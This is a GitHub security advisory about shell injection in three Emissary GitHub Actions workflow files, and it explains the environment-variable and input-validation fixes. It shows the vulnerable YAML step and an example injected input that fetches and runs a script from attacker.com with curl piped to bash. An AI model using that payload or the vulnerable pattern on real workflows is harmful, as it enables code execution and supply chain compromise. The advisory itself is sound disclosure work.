GHSA-3g6g-gq4r-xjm9

## Summary Three GitHub Actions workflow files contained **10 shell injection points** where user-controlled `workflow_dispatch` inputs were interpolated directly into shell commands via `${{ }}` expression syntax. An attacker with repository write access could inject arbitrary shell commands, leading to repository poisoning and supply chain compromise affecting all downstream users. ## Affected Files | Workflow file | Injection points | |------------------------------------------|------------------| | `.github/workflows/maven-version.yml` | 4 | | `.github/workflows/cherrypick.yml` | 5 | | `.github/workflows/maven-release.yml` | 1 | ## Details GitHub Actions `${{ }}` expressions inside `run:` blocks are substituted **before** the shell interprets the command. When a `workflow_dispatch` input is placed directly in a `run:` block, an attacker who can trigger the workflow can break out of the intended command and execute arbitrary code. ### Example — `maven-version.yml` (before fix) ```yaml - name: Set the name of the branch run: echo "PR_BRANCH=action/${{ github.event.inputs.next_version }}" >> "$GITHUB_ENV" ``` A malicious input such as `1.0.0"; curl attacker.com/backdoor.sh | bash; echo "` would be interpolated directly into the shell, executing arbitrary commands with the job's `GITHUB_TOKEN` permissions (`contents: write`, `pull-requests: write`). ### Impact - Arbitrary code execution within the CI/CD runner - Repository modification via the `contents: write` token (push malicious commits) - Supply chain poisoning — downstream users who clone or build receive compromised code - Credential exfiltration from the GitHub Actions environment ## Remediation Fixed in two PRs merged into release 8.39.0: ### PR #1286 — Environment variable indirection Replaced all direct `${{ inputs.* }}` interpolation in `run:` blocks with environment variable indirection. Inputs are assigned to `env:` at the step level, then referenced as shell variables inside `run:`. ```yaml # After (safe — input is never interpreted by the shell parser) - name: Set the name of the branch run: echo "PR_BRANCH=action/$IN_NEXT_VERSION" >> "$GITHUB_ENV" env: IN_NEXT_VERSION: ${{ github.event.inputs.next_version }} ``` ### PR #1288 — Input validation Added strict regex validation steps that run before any input is used: - `maven-version.yml`: Validates `next_version` matches `^[a-zA-Z0-9._-]+$` - `maven-release.yml`: Validates `release_suffix` matches `^[a-zA-Z0-9._-]+$` - `cherrypick.yml`: Validates `commits` matches `^([0-9a-f]{7,40})(\s+[0-9a-f]{7,40})*$` All jobs now also use `shell: bash` via `defaults.run.shell` to ensure consistent shell behavior. ## Workarounds There is no workaround other than upgrading. Organizations that have forked Emissary should apply the same environment variable indirection and input validation patterns to their workflow files. ## References - [PR #1286 — environment variable indirection](https://github.com/NationalSecurityAgency/emissary/pull/1286) - [PR #1288 — input validation](https://github.com/NationalSecurityAgency/emissary/pull/1288) - [GitHub Security Lab: Keeping your GitHub Actions and workflows secure](https://securitylab.github.com/resources/github-actions-untrusted-input/) - Original report: GHSA-wjqm-p579-x3ww